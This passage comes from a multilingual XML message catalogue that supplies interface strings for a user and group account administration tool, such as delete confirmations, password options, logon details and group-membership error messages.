<it>Ciascun account utente è rappresentato da un identificatore univoco, indipendente dal nome utente. Una volta eliminato l'account utente non sarà possibile ripristinare l'accesso alle risorse che attualmente riportano il nome di questo account utente nell'elenco di controllo degli accessi, anche se in futuro verrà creato un account utente con lo stesso nome. Eliminare l'account?</it>
<ru>Каждая учетная запись пользователя представлена уникальным идентификатором, который не зависит от имени пользователя. После удаления данной учетной записи даже создание учетной записи с таким же именем не позволит восстановить доступ к ресурсам, для которых название текущей учетной записи было включено в контрольный список доступа. Удалить эту учетную запись?</ru>
<ja>各ユーザ アカウントは、ユーザ名とは無関係な固有の ID で表されます。このユーザ アカウントを削除すると、後に同じ名前のユーザ アカウントを作成しても、現在アクセス コントロール リストでこのユーザ アカウントを指定しているリソースへのアクセスは復旧されません。このアカウントを削除しますか?</ja>
<zh>每个用户帐户均由独立于用户名的唯一标识符表示。一旦删除此用户帐户,那么即使以后创建名称完全相同的用户帐户,也无法恢复对当前在访问控制列表中指定给此用户帐户的资源的访问。是否确实要删除此帐户?</zh>
<ko>각 사용자 계정은 사용자 이름에 독립적인 고유 식별자로 표시됩니다. 이 사용자 계정을 삭제하면 나중에 동일한 이름의 사용자 계정을 만들더라도 이 사용자 계정이 현재 액세스 제어 목록에 가지고 있는 리소스에 대한 액세스는 복원되지 않습니다 계정을 삭제하시겠습니까?</ko>
<en-gb>Each user account is represented by an unique identifier which is independent of the username. Once this user account is deleted, even creating an identically named user account in the future will not restore access to resources which currently name this user account in the access control list. Are you sure you want delete the account?</en-gb>
<hu>Minden felhasználói fiókot egy egyedi azonosító képvisel, amely független 
a felhasználó nevétől. Ha törlik a felhasználói fiókot, még egy azonos
nevű felhasználói fiók létrehozása sem fogja visszaállítani a hozzáférést azokhoz az erőforrásokhoz, amelyek
jelenleg ezt a felhasználót tüntetik fel a hozzáférés-vezérlési listában. Biztos benne, hogy
törölni kívánja a felhasználói fiókot?</hu>
<pt-br>Cada conta do usuário é representada por um identificador exclusivo que é independente
do nome do usuário. Quanto esta conta do usuário é excluída, mesmo com a criação de uma 
conta de usuário idêntica no futuro, o acesso aos recursos que no momento
nomeiam esta conta de usuário na lista de controle de acesso não será restaurado. Tem certeza de que
deseja excluir esta conta?</pt-br>
<nl>Aan elke gebruikersaccount is een unieke identificatiecode toegewezen die niet gekoppeld is aan de naam van de gebruiker. Nadat deze gebruikersaccount is verwijderd, kan later zelfs niet door het maken van een gebruikersaccount met dezelfde naam opnieuw toegang worden verkregen tot netwerkbronnen die voor deze gebruikersaccount momenteel in de toegangscontrolelijst zijn opgenomen. Weet u zeker dat u de account wilt verwijderen?</nl>
</msg>
<msg name="CONFIRMDELUSERSHORT">
<en>Are you sure you want delete the account?</en>
<de>Sind Sie sicher, dass Sie das Konto jetzt löschen wollen?</de>
<es>¿Está seguro de que desea eliminar la cuenta?</es>
<fr>Êtes-vous sûr de vouloir supprimer ce compte ?</fr>
<it>Eliminare l'account?</it>
<ru>Удалить эту учетную запись?</ru>
<ja>このアカウントを削除しますか?</ja>
<zh>是否确实要删除此帐户?</zh>
<ko>계정을 삭제하시겠습니까?</ko>
<en-gb>Are you sure you want delete the account?</en-gb>
<hu>Biztos benne, hogy törölni kívánja a felhasználói fiókot?</hu>
<pt-br>Tem certeza de que deseja excluir a conta?</pt-br>
<nl>Weet u zeker dat u de account wilt verwijderen?</nl>
</msg>
<msg name="CONFIRMDELGROUP">
<en>Each group is represented by an unique identifier which is independent of the
group name. Once this group is deleted, even creating an identically named group
in the future will not restore access to resources which currently name this group
in the access control list. Are you sure you want delete the group?</en>
<de>Jede Gruppe benötigt eine eindeutige Kennung, die nicht mit dem Gruppennamen
identisch sein darf. Bitte beachten: Falls Sie ein Gruppenkonto löschen verlieren
Sie die Zugriffsberechtigungen auf alle Elemente auf die nur dieses Konto
Zugriffsberechtigungen hatte, auch wenn Sie nachfolgend erneut ein Konto gleichen
Namens anlegen. Sind Sie sicher, dass Sie das Konto jetzt löschen wollen?</de>
<es>Cada grupo está representado por un identificador único, que es independiente del
nombre de grupo. Una vez que se elimine el grupo, incluso si se crea un grupo con el mismo nombre
en el futuro, no se restablecerá el acceso a los recursos asignados en la actualidad a este grupo
en la lista de control de acceso. ¿Está seguro de que desea eliminar el grupo?</es>
<fr>Chaque groupe est représenté par un identifiant unique qui est indépendant du 
nom de groupe. Une fois que ce groupe est supprimé, créer un groupe avec le
même nom ne restaurera pas l'accès aux ressources qui sont actuellement affectées
à ce groupe dans la liste des Contrôle d'accès. Êtes-vous sûr 
de vouloir supprimer ce groupe ?</fr>
<it>Ciascun gruppo è rappresentato da un identificatore univoco, indipendente dal nome del gruppo. Una volta eliminato il gruppo non sarà possibile ripristinare l'accesso alle risorse che attualmente riportano il nome di questo gruppo nell'elenco di controllo degli accessi, anche se in futuro verrà creato un gruppo con lo stesso nome. Eliminare il gruppo?</it>
<ru>Каждая группа представлена уникальным идентификатором, который не зависит от имени группы. После удаления данной группы даже создание группы с таким же именем не позволит восстановить доступ к ресурсам, для которых название текущей группы было включено в контрольный список доступа. Удалить эту группу?</ru>
<ja>各グループは、グループ名とは無関係な固有の ID で表されます。このグループが削除された場合は、後に同じ名前のグループを作成しても、現在アクセス コントロール リストでこのグループを命名しているリソースへのアクセスは復旧されません。このグループを削除しますか?</ja>
<zh>每个组均由独立于组名的唯一标识符表示。一旦删除该组,那么即使以后创建名称完全相同的组,也无法恢复对当前在访问控制列表中指定给该组的资源的访问。是否确实要删除该组?</zh>
<ko>각 그룹은 그룹 이름에 독립적인 고유 식별자로 표시합니다. 이 그룹을 삭제하면 나중에 동일한 이름의 그룹을 만들더라도 이 그룹이 현재 액세스 제어 목록에 가지고 있는 리소스에 대한 액세스는 복원되지 않습니다 그룹을 삭제하시겠습니까?</ko>
<en-gb>Each group is represented by a unique identifier which is independent of the group name. Once this group is deleted, even creating an identically named group in the future will not restore access to resources which currently name this group in the access control list. Are you sure you want delete the group?</en-gb>
<hu>Minden csoportot egy egyedi azonosító képvisel, amely független a
csoport nevétől. Ha törlik a csoportot, még egy azonos nevű csoport létrehozása
sem fogja visszaállítani a hozzáférést azokhoz az erőforrásokhoz, amelyek ezt a csoportot
tüntetik fel a hozzáférés-vezérlési listában. Biztos benne, hogy törölni kívánja csoportot?</hu>
<pt-br>Cada grupo é representado por um identificador exclusivo que é independente
do nome do grupo. Quando este grupo é excluído, mesmo com a criação de um grupo de nomes idêntico
no futuro, o acesso aos recursos que nomeiam este grupo não será restaurado
na lista de controle de acesso. Tem certeza de que deseja excluir o grupo?</pt-br>
<nl>Aan elke groep is een unieke identificatiecode toegewezen die niet gekoppeld is aan de naam van de groep. Nadat deze groep is verwijderd, kan later zelfs niet door het maken van een groep met dezelfde naam opnieuw toegang worden verkregen tot netwerkbronnen die voor deze groep momenteel in de toegangscontrolelijst zijn opgenomen. Weet u zeker dat u de groep wilt verwijderen?</nl>
</msg>
<msg name="CONFIRMDELGROUPSHORT">
<en>Are you sure you want delete the group?</en>
<de>Sind Sie sicher, dass Sie das Konto jetzt löschen wollen?</de>
<es>¿Está seguro de que desea eliminar el grupo?</es>
<fr>Êtes-vous sûr de vouloir supprimer ce groupe ?</fr>
<it>Eliminare il gruppo?</it>
<ru>Удалить эту группу?</ru>
<ja>このグループを削除しますか?</ja>
<zh>是否确实要删除该组?</zh>
<ko>그룹을 삭제하시겠습니까?</ko>
<en-gb>Are you sure you want delete the group?</en-gb>
<hu>Biztos benne, hogy törölni kívánja csoportot?</hu>
<pt-br>Tem certeza de que deseja excluir o grupo?</pt-br>
<nl>Weet u zeker dat u de groep wilt verwijderen?</nl>
</msg>
<msg name="BTNPWD">
<en>Change password</en>
<de>Kennwort ändern</de>
<es>Cambiar contraseña</es>
<fr>Changez le mot de passe</fr>
<it>Cambia password</it>
<ru>Изменить пароль</ru>
<ja>パスワードの変更</ja>
<zh>更改密码</zh>
<ko>암호 변경</ko>
<en-gb>Change password</en-gb>
<hu>Jelszó megváltoztatása</hu>
<pt-br>Alterar senha</pt-br>
<nl>Wachtwoord wijzigen</nl>
</msg>
<msg name="BTNRENAME">
<en>Rename</en>
<de>Umbenennen</de>
<es>Cambiar nombre</es>
<fr>Renommez</fr>
<it>Rinomina</it>
<ru>Переименовать</ru>
<ja>名前の変更</ja>
<zh>重命名</zh>
<ko>이름 바꾸기</ko>
<en-gb>Rename</en-gb>
<hu>Átnevezés</hu>
<pt-br>Renomear</pt-br>
<nl>Naam wijzigen</nl>
</msg>
<msg name="CHANGEPWD">
<en>Change password for user "%REQ.NAME"</en>
<de>Kennwort für den Benutzer "%REQ.NAME" ändern</de>
<es>Cambiar contraseña para el usuario "%REQ.NAME"</es>
<fr>Changez le mot de passe pour l'utilisateur "%REQ.NAME"</fr>
<it>Cambia password per l'utente "%REQ.NAME"</it>
<ru>Изменить пароль для пользователя "%REQ.NAME"</ru>
<ja>ユーザ "%REQ.NAME" のパスワードを変更します</ja>
<zh>更改用户“%REQ.NAME”的密码</zh>
<ko>"%REQ.NAME" 사용자 암호 변경</ko>
<en-gb>Change password for user "%REQ.NAME"</en-gb>
<hu>Jelszó megváltoztatása a "%REQ.NAME" felhasználó számára</hu>
<pt-br>Alterar senha para usuário "%REQ.NAME"</pt-br>
<nl>Wachtwoord wijzigen voor gebruiker "%REQ.NAME"</nl>
</msg>
<msg name="PWDCHANGED">
<en>Password changed.</en>
<de>Kennwort geändert</de>
<es>Contraseña modificada.</es>
<fr>Mot de passe changé.</fr>
<it>Password cambiata.</it>
<ru>Пароль изменен.</ru>
<ja>パスワードは変更されました。</ja>
<zh>密码已更改。</zh>
<ko>암호가 변경되었습니다.</ko>
<en-gb>Password changed.</en-gb>
<hu>A jelszó megváltozott.</hu>
<pt-br>Senha alterada.</pt-br>
<nl>Wachtwoord is gewijzigd.</nl>
</msg>
<msg name="NEWNAME">
<en>New name</en>
<de>Neuer Name</de>
<es>Nuevo nombre</es>
<fr>Nouveau nom</fr>
<it>Nuovo nome</it>
<ru>Новое имя</ru>
<ja>新しい名前</ja>
<zh>新名称</zh>
<ko>새 이름</ko>
<en-gb>New name</en-gb>
<hu>Új név</hu>
<pt-br>Novo nome</pt-br>
<nl>Nieuwe naam</nl>
</msg>
<cat name="USER">
<msg name="ADD">
<en>Add user</en>
<de>Benutzerkonto anlegen</de>
<es>Agregar usuario</es>
<fr>Ajouter un utilisateur</fr>
<it>Aggiungi utente</it>
<ru>Добавить пользователя</ru>
<ja>ユーザの追加</ja>
<zh>添加用户</zh>
<ko>사용자 추가</ko>
<en-gb>Add user</en-gb>
<hu>Felhasználó hozzáadása</hu>
<pt-br>Adicionar usuário</pt-br>
<nl>Gebruiker toevoegen</nl>
</msg>
<msg name="NAME">
<en>User name</en>
<de>Benutzername</de>
<es>Nombre de usuario</es>
<fr>Nom utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザ名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználói név</hu>
<pt-br>Nome do usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>
<msg name="PWD">
<en>Password</en>
<de>Kennwort</de>
<es>Contraseña</es>
<fr>Mot de passe</fr>
<it>Password</it>
<ru>Пароль</ru>
<ja>パスワード</ja>
<zh>密码</zh>
<ko>암호</ko>
<en-gb>Password</en-gb>
<hu>Jelszó</hu>
<pt-br>Senha</pt-br>
<nl>Wachtwoord</nl>
</msg>
<msg name="FULLNAME">
<en>Full name</en>
<de>Vollständiger Name</de>
<es>Nombre completo</es>
<fr>Nom complet</fr>
<it>Nome completo</it>
<ru>Полное имя</ru>
<ja>氏名</ja>
<zh>全名</zh>
<ko>전체 이름</ko>
<en-gb>Full name</en-gb>
<hu>Teljes név</hu>
<pt-br>Nome completo</pt-br>
<nl>Volledige naam</nl>
</msg>
<msg name="COMMENT">
<en>Comment</en>
<de>Kommentar</de>
<es>Comentario</es>
<fr>Commentaire</fr>
<it>Commento</it>
<ru>Комментарий</ru>
<ja>コメント</ja>
<zh>注释</zh>
<ko>주석</ko>
<en-gb>Comment</en-gb>
<hu>Megjegyzés</hu>
<pt-br>Comentários</pt-br>
<nl>Opmerking</nl>
</msg>
<msg name="MUSTCHANGEPWD">
<en>User must change password at next logon</en>
<de>Benutzer muss Kennwort bei der nächsten Anmeldung ändern</de>
<es>El usuario deberá cambiar la contraseña la siguiente vez que inicie sesión</es>
<fr>L'utilisateur devra changer son mot de passe à la prochaine connexion</fr>
<it>È necessario che l'utente cambi la password all'accesso successivo</it>
<ru>Пользователь должен изменить пароль при следующем входе в систему</ru>
<ja>ユーザは、次のログイン時にパスワードを変更する必要があります</ja>
<zh>下次登录时用户必须更改密码</zh>
<ko>다음 로그온 시 반드시 암호 변경</ko>
<en-gb>User must change password at next logon</en-gb>
<hu>A felhasználónak meg kell változtatnia a jelszavát a legközelebbi bejelentkezéskor</hu>
<pt-br>O usuário deve alterar a senha no próximo logon</pt-br>
<nl>Gebruiker moet wachtwoord bij volgende aanmelding wijzigen</nl>
</msg>
<msg name="CANTCHANGEPWD">
<en>User cannot change password</en>
<de>Benutzer kann Kennwort nicht ändern</de>
<es>El usuario no puede cambiar la contraseña</es>
<fr>L'utilisateur ne peut pas changer de mot de passe</fr>
<it>L'utente non può cambiare la password</it>
<ru>Пользователю не удается изменить пароль</ru>
<ja>ユーザはパスワードを変更できません</ja>
<zh>用户无法更改密码</zh>
<ko>암호를 변경할 수 없음</ko>
<en-gb>User cannot change password</en-gb>
<hu>A felhasználó nem tudja megváltoztatni a jelszót</hu>
<pt-br>O usuário não pode alterar a senha</pt-br>
<nl>Gebruiker kan wachtwoord niet wijzigen</nl>
</msg>
<msg name="PWDNOTEXPIRES">
<en>Password never expires</en>
<de>Kennwort läuft nie ab</de>
<es>La contraseña nunca caduca</es>
<fr>Le mot de passe n'expire jamais</fr>
<it>Password senza scadenza</it>
<ru>Срок действия пароля не ограничен</ru>
<ja>パスワードには有効期限がありません</ja>
<zh>密码永久有效</zh>
<ko>암호 사용 기간 제한 없음</ko>
<en-gb>Password never expires</en-gb>
<hu>A jelszó nem jár le</hu>
<pt-br>A senha nunca é expirada</pt-br>
<nl>Wachtwoord verstrijkt nooit</nl>
</msg>
<msg name="DISABLED">
<en>Account disabled</en>
<de>Konto deaktiviert</de>
<es>Cuenta deshabilitada</es>
<fr>Compte désactivé</fr>
<it>Account disattivato</it>
<ru>Учетная запись отключена</ru>
<ja>アカウントが無効です</ja>
<zh>已禁用帐户</zh>
<ko>계정 사용 안 함</ko>
<en-gb>Account disabled</en-gb>
<hu>Letiltott felhasználói fiók</hu>
<pt-br>Conta desabilitada</pt-br>
<nl>Account uitgeschakeld</nl>
</msg>
<msg name="LOCKEDOUT">
<en>Account locked out</en>
<de>Konto vorübergehend gesperrt</de>
<es>Cuenta bloqueada</es>
<fr>Compte bloqué</fr>
<it>Account bloccato</it>
<ru>Учетная запись заблокирована</ru>
<ja>アカウントはロックアウトされています</ja>
<zh>已锁定帐户</zh>
<ko>계정 잠겨 있음</ko>
<en-gb>Account locked out</en-gb>
<hu>A felhasználói fiók zárolva</hu>
<pt-br>Conta bloqueada</pt-br>
<nl>Account vergrendeld</nl>
</msg>
<msg name="HOMEDIR">
<en>Home directory</en>
<de>Arbeitsordner</de>
<es>Directorio principal</es>
<fr>Répertoire racine</fr>
<it>Home directory</it>
<ru>Домашний каталог</ru>
<ja>ホーム ディレクトリ</ja>
<zh>主目录</zh>
<ko>홈 디렉터리</ko>
<en-gb>Home directory</en-gb>
<hu>Kezdő könyvtár</hu>
<pt-br>Diretório inicial</pt-br>
<nl>Basismap</nl>
</msg>
<msg name="HOMEDRIVE">
<en>Drive letter assigned to home directory</en>
<de>Dem Arbeitsordner zugeordneter Laufwerksbuchstabe</de>
<es>Letra de unidad asignada al directorio principal</es>
<fr>Lettre de lecteur assignée au répertoire racine</fr>
<it>Lettera assegnata alla home directory</it>
<ru>Буква диска, назначенная домашнему каталогу</ru>
<ja>ホーム ディレクトリに割り当てられたドライブ文字</ja>
<zh>分配给主目录的驱动器号</zh>
<ko>드라이브 문자가 홈 디렉터리에 할당됨</ko>
<en-gb>Drive letter assigned to home directory</en-gb>
<hu>Meghajtó betűjele hozzárendelve a kezdő könyvtárhoz</hu>
<pt-br>Letra da unidade designada ao diretório inicial</pt-br>
<nl>Stationsletter toegewezen aan basismap</nl>
</msg>
<msg name="LOGONSCRIPT">
<en>Logon script</en>
<de>Anmeldeskript</de>
<es>Script de inicio de sesión</es>
<fr>Script de connexion</fr>
<it>Script di accesso</it>
<ru>Сценарий входа в систему</ru>
<ja>ログイン文字列</ja>
<zh>登录脚本</zh>
<ko>로그온 스크립트</ko>
<en-gb>Logon script</en-gb>
<hu>Bejelentkezési parancsfájl</hu>
<pt-br>Script do logon</pt-br>
<nl>Aanmeldingsscript</nl>
</msg>
<msg name="PROFILE">
<en>Profile path</en>
<de>Profilpfad</de>
<es>Ruta del perfil</es>
<fr>Chemin du profil</fr>
<it>Percorso del profilo</it>
<ru>Путь к профилю</ru>
<ja>プロファイル パス</ja>
<zh>配置文件路径</zh>
<ko>프로필 경로</ko>
<en-gb>Profile path</en-gb>
<hu>Profil elérési útja</hu>
<pt-br>Caminho do perfil</pt-br>
<nl>Profielpad</nl>
</msg>
<msg name="LASTLOGON">
<en>Last logon at</en>
<de>Letzte Anmeldung am</de>
<es>Última sesión iniciada en</es>
<fr>Dernière connexion :</fr>
<it>Ultimo accesso il giorno</it>
<ru>Время последнего входа</ru>
<ja>前回のログイン</ja>
<zh>上次登录时间</zh>
<ko>마지막으로 로그온한 시간</ko>
<en-gb>Last logon at</en-gb>
<hu>Legutóbbi bejelentkezés ekkor:</hu>
<pt-br>Último logon em</pt-br>
<nl>Laatste aanmelding om</nl>
</msg>
<msg name="LASTLOGOFF">
<en>Last logoff at</en>
<de>Letzte Abmeldung am</de>
<es>Última sesión finalizada en</es>
<fr>Dernière déconnexion :</fr>
<it>Ultima disconnessione il giorno</it>
<ru>Время последнего выхода</ru>
<ja>前回のログオフ</ja>
<zh>上次注销时间</zh>
<ko>마지막으로 로그오프한 시간</ko>
<en-gb>Last logoff at</en-gb>
<hu>Legutóbbi kijelentkezés ekkor:</hu>
<pt-br>Último logoff em</pt-br>
<nl>Laatste afmelding om</nl>
</msg>
<msg name="ACCEXPIRE">
<en>Account expires at</en>
<de>Konto läuft aus am</de>
<es>La cuenta caduca en</es>
<fr>Le compte expire le :</fr>
<it>L'account scade il giorno</it>
<ru>Срок действия учетной записи:</ru>
<ja>アカウントの有効期限</ja>
<zh>帐户截止时间</zh>
<ko>계정 만료 시간</ko>
<en-gb>Account expires at</en-gb>
<hu>A felhasználói fiók lejár ekkor:</hu>
<pt-br>Conta expira em</pt-br>
<nl>Account verstrijkt om</nl>
</msg>
<msg name="PWDCHANGED">
<en>Password last changed</en>
<de>Kennwort zuletzt geändert</de>
<es>Último cambio de contraseña</es>
<fr>Dernier changement du mot de passe</fr>
<it>Ultimo cambio di password</it>
<ru>Последнее изменение пароля</ru>
<ja>前回のパスワード変更</ja>
<zh>上次更改密码时间</zh>
<ko>암호가 마지막으로 변경된 시간</ko>
<en-gb>Password last changed</en-gb>
<hu>Legutóbbi jelszóváltoztatás</hu>
<pt-br>Última alteração da senha</pt-br>
<nl>Laatste wijziging van wachtwoord</nl>
</msg>
<msg name="BADPWDCOUNT">
<en>Bad password count</en>
<de>Anzahl ungültiger Kennworteingaben</de>
<es>Conteo de contraseñas incorrecto</es>
<fr>Nombre de mauvaises saisies du mot de passe :</fr>
<it>Conteggio password errato</it>
<ru>Подсчет неправильного ввода пароля</ru>
<ja>不正なパスワード入力回数</ja>
<zh>密码计数错误</zh>
<ko>잘못된 암호 횟수</ko>
<en-gb>Bad password count</en-gb>
<hu>Rossz jelszószám</hu>
<pt-br>Conta de senha inválida</pt-br>
<nl>Ongeldig aantal wachtwoorden</nl>
</msg>
<msg name="LOGONCOUNT">
<en>Number of successful logons</en>
<de>Anzahl erfolgreicher Anmeldungen</de>
<es>Número de sesiones iniciadas con éxito</es>
<fr>Nombre de connexions réussies</fr>
<it>Numero di accessi riusciti</it>
<ru>Число успешных входов в систему</ru>
<ja>ログイン成功回数</ja>
<zh>成功登录次数</zh>
<ko>로그온 성공 수</ko>
<en-gb>Number of successful logons</en-gb>
<hu>Sikeres bejelentkezések száma</hu>
<pt-br>Número de logons bem-sucedidos</pt-br>
<nl>Aantal geslaagde aanmeldingspogingen</nl>
</msg>
<msg name="DELETED">
<en>User "%REQ.NAME" deleted successfully.</en>
<de>Benutzer "%REQ.NAME" wurde erfolgreich gelöscht.</de>
<es>Usuario "%REQ.NAME" eliminado correctamente.</es>
<fr>Utilisateur "%REQ.NAME" supprimé avec succès.</fr>
<it>L'utente "%REQ.NAME" è stato eliminato.</it>
<ru>Пользователь "%REQ.NAME" успешно удален.</ru>
<ja>ユーザ "%REQ.NAME" は正常に削除されました。</ja>
<zh>已成功删除用户“%REQ.NAME”。</zh>
<ko>"%REQ.NAME" 사용자가 삭제되었습니다.</ko>
<en-gb>User "%REQ.NAME" successfully deleted.</en-gb>
<hu>A "%REQ.NAME" felhasználó sikeresen törölve.</hu>
<pt-br>Usuário "%REQ.NAME" excluído com êxito.</pt-br>
<nl>Gebruiker "%REQ.NAME" is verwijderd.</nl>
</msg>
<msg name="DELFAIL">
<en>Failed to delete user.</en>
<de>Der Benutzer konnte nicht gelöscht werden.</de>
<es>Error al eliminar usuario.</es>
<fr>Echec de suppression de l'utilisateur.</fr>
<it>Eliminazione dell'utente non riuscita.</it>
<ru>Не удалось удалить пользователя.</ru>
<ja>ユーザを削除できません。</ja>
<zh>删除用户失败。</zh>
<ko>사용자를 삭제하지 못했습니다.</ko>
<en-gb>Failed to delete user.</en-gb>
<hu>Nem sikerült törölni a felhasználót.</hu>
<pt-br>Falha ao excluir usuário.</pt-br>
<nl>De gebruiker kon niet worden verwijderd.</nl>
</msg>
<msg name="ADDFAIL">
<en>Failed to create new user.</en>
<de>Der neue Benutzer konnte nicht erstellt werden.</de>
<es>Error al crear nuevo usuario.</es>
<fr>Echec de création d'un nouvel utilisateur.</fr>
<it>Creazione del nuovo utente non riuscita.</it>
<ru>Не удалось создать нового пользователя.</ru>
<ja>新しいユーザを作成できません。</ja>
<zh>创建新用户失败。</zh>
<ko>새 사용자를 만들지 못했습니다.</ko>
<en-gb>Failed to create new user.</en-gb>
<hu>Nem sikerült létrehozni az új felhasználót.</hu>
<pt-br>Falha ao criar novo usuário.</pt-br>
<nl>De nieuwe gebruiker kon niet worden gemaakt.</nl>
</msg>
<msg name="UPDATED">
<en>User updated.</en>
<de>Benutzer wurde aktualisiert</de>
<es>Usuario actualizado.</es>
<fr>Utilisateur mis à jour.</fr>
<it>L'utente è stato aggiornato.</it>
<ru>Пользователь обновлен.</ru>
<ja>ユーザは更新されました。</ja>
<zh>已更新用户。</zh>
<ko>사용자가 업데이트되었습니다.</ko>
<en-gb>User updated.</en-gb>
<hu>Felhasználó frissítve.</hu>
<pt-br>Usuário atualizado.</pt-br>
<nl>De gebruiker is bijgewerkt.</nl>
</msg>
<msg name="UPDATEFAIL">
<en>Failed to update user.</en>
<de>Der Benutzer konnte nicht aktualisiert werden.</de>
<es>Error al actualizar usuario.</es>
<fr>Echec de mise à jour de l'utilisateur.</fr>
<it>Aggiornamento dell'utente non riuscito.</it>
<ru>Не удалось обновить пользователя.</ru>
<ja>ユーザの更新に失敗しました。</ja>
<zh>更新用户失败。</zh>
<ko>사용자를 업데이트하지 못했습니다.</ko>
<en-gb>Failed to update user.</en-gb>
<hu>Nem sikerült frissíteni a felhasználót.</hu>
<pt-br>Falha ao atualizar usuário.</pt-br>
<nl>De gebruiker kon niet worden bijgewerkt.</nl>
</msg>
<msg name="EDITGROUPS">
<en>Group membership for user "%NAME"</en>
<de>Gruppenzugehörigkeit für Benutzer "%NAME"</de>
<es>Otorgar a "%NAME"categoría de miembro del grupo</es>
<fr>Adhésion au groupe pour l'utilisateur "%NAME"</fr>
<it>Appartenenza al gruppo per l'utente "%NAME"</it>
<ru>Членство в группе для пользователя "%NAME"</ru>
<ja>ユーザ "%NAME" のグループ メンバシップ</ja>
<zh>用户“%NAME”的组成员资格</zh>
<ko>"%NAME" 사용자에 대한 그룹 구성원 자격</ko>
<en-gb>Group membership for user "%NAME"</en-gb>
<hu>"%NAME" felhasználó csoporttagsága</hu>
<pt-br>Participação do grupo para o usuário "%NAME"</pt-br>
<nl>Groepslidmaatschap voor gebruiker "%NAME"</nl>
</msg>
<msg name="MEMBER">
<en>Member of</en>
<de>Mitglied von</de>
<es>Miembro de</es>
<fr>Membre de</fr>
<it>Membro di</it>
<ru>Член</ru>
<ja>メンバー</ja>
<zh>隶属于</zh>
<ko>구성원</ko>
<en-gb>Member of</en-gb>
<hu>Tagja a következőnek:</hu>
<pt-br>Membro de</pt-br>
<nl>Lid van</nl>
</msg>
<msg name="NONMEMBER">
<en>Non-member of</en>
<de>Nicht Mitglied von</de>
<es>No miembro de</es>
<fr>Non-membre de</fr>
<it>Non membro di</it>
<ru>Не член</ru>
<ja>非メンバー</ja>
<zh>不隶属于</zh>
<ko>구성원이 아님</ko>
<en-gb>Non-member of</en-gb>
<hu>Nem tagja a következőnek:</hu>
<pt-br>Não membro de</pt-br>
<nl>Geen lid van</nl>
</msg>
<msg name="ADDLGROUPFAIL">
<en>Failed to add user to local group "%ERRGROUP".</en>
<de>Das Benutzer konnte der lokalen Gruppe "%ERRGROUP" nicht zugeordnet werden.</de>
<es>Error al agregar usuario al grupo local "%ERRGROUP".</es>
<fr>Echec de l'ajout de l'utilisateur au groupe local "%ERRGROUP".</fr>
<it>Aggiunta dell'utente al gruppo locale "%ERRGROUP" non riuscita.</it>
<ru>Не удалось добавить пользователя в локальную группу "%ERRGROUP".</ru>
<ja>ローカル グループ "%ERRGROUP" へのユーザの追加に失敗しました。</ja>
<zh>将用户添加至本地组“%ERRGROUP”失败。</zh>
<ko>로컬 그룹 "%ERRGROUP"에 사용자를 추가하지 못했습니다.</ko>
<en-gb>Failed to add user to local group "%ERRGROUP".</en-gb>
<hu>Nem sikerült a felhasználó hozzáadása a(z) "%ERRGROUP" helyi csoporthoz.</hu>
<pt-br>Falha ao adicionar usuário ao grupo local "%ERRGROUP".</pt-br>
<nl>De gebruiker kon niet worden toegevoegd aan de lokale groep "%ERRGROUP".</nl>
</msg>
<msg name="ADDGGROUPFAIL">
<en>Failed to add user to global group "%ERRGROUP".</en>
<de>Das Benutzer konnte der globalen Gruppe "%ERRGROUP" nicht zugeordnet werden.</de>
<es>Error al agregar usuario al grupo global "%ERRGROUP".</es>
<fr>Echec de l'ajout de l'utilisateur au groupe global "%ERRGROUP".</fr>
<it>Aggiunta dell'utente al gruppo globale "%ERRGROUP" non riuscita.</it>
<ru>Не удалось добавить пользователя в глобальную группу "%ERRGROUP".</ru>
<ja>グローバル グループ "%ERRGROUP" へのユーザの追加に失敗しました。</ja>
<zh>将用户添加至全局组“%ERRGROUP”失败。</zh>
<ko>글로벌 그룹 "%ERRGROUP"에 사용자를 추가하지 못했습니다.</ko>
<en-gb>Failed to add user to global group "%ERRGROUP".</en-gb>
<hu>Nem sikerült a felhasználó hozzáadása a(z) "%ERRGROUP" globális csoporthoz.</hu>
<pt-br>Falha ao adicionar usuário ao grupo global "%ERRGROUP".</pt-br>
<nl>De gebruiker kon niet worden toegevoegd aan de globale groep "%ERRGROUP".</nl>
</msg>
<msg name="DELLGROUPFAIL">
<en>Failed to remove user from local group "%ERRGROUP".</en>
<de>Das Benutzer konnte aus der lokalen Gruppe "%ERRGROUP" nicht entfernt werden.</de>
<es>Error al eliminar usuario del grupo local "%ERRGROUP".</es>
<fr>Echec de suppression de l'utilisateur au groupe local "%ERRGROUP".</fr>
<it>Rimozione dell'utente dal gruppo locale "%ERRGROUP" non riuscita.</it>
<ru>Не удалось удалить пользователя из локальной группы "%ERRGROUP".</ru>
<ja>ローカル グループ "%ERRGROUP" からのユーザの削除に失敗しました。</ja>
<zh>从本地组“%ERRGROUP”删除用户失败。</zh>
<ko>로컬 그룹 "%ERRGROUP"에서 사용자를 제거하지 못했습니다.</ko>
<en-gb>Failed to remove user from local group "%ERRGROUP".</en-gb>
<hu>Nem sikerült a felhasználó eltávolítása a(z) "%ERRGROUP" helyi csoportból.</hu>
<pt-br>Falha ao remover usuário do grupo local "%ERRGROUP".</pt-br>
<nl>De gebruiker kon niet worden verwijderd uit de lokale groep "%ERRGROUP".</nl>
</msg>
<msg name="DELGGROUPFAIL">
<en>Failed to remove user from global group "%ERRGROUP".</en>
<de>Das Benutzer konnte aus der globalen Gruppe "%ERRGROUP" nicht entfernt werden.</de>
<es>Error al eliminar usuario del grupo global "%ERRGROUP".</es>
<fr>Echec de suppression de l'utilisateur au groupe global "%ERRGROUP".</fr>
<it>Rimozione dell'utente dal gruppo globale "%ERRGROUP" non riuscita.</it>
<ru>Не удалось удалить пользователя из глобальной группы "%ERRGROUP".</ru>
<ja>グローバル グループ "%ERRGROUP" からのユーザの削除に失敗しました。</ja>
<zh>从全局组“%ERRGROUP”删除用户失败。</zh>
<ko>글로벌 그룹 "%ERRGROUP"에서 사용자를 제거하지 못했습니다.</ko>
<en-gb>Failed to remove user from global group "%ERRGROUP".</en-gb>
<hu>Nem sikerült a felhasználó eltávolítása a(z) "%ERRGROUP" globális csoportból.</hu>
<pt-br>Falha ao remover usuário do grupo global "%ERRGROUP".</pt-br>
<nl>De gebruiker kon niet worden verwijderd uit de globale groep "%ERRGROUP".</nl>
</msg>
<msg name="BTNGROUPS">
<en>Groups</en>
<de>Gruppen</de>
<es>Grupos</es>
<fr>Groupes</fr>
<it>Gruppi</it>
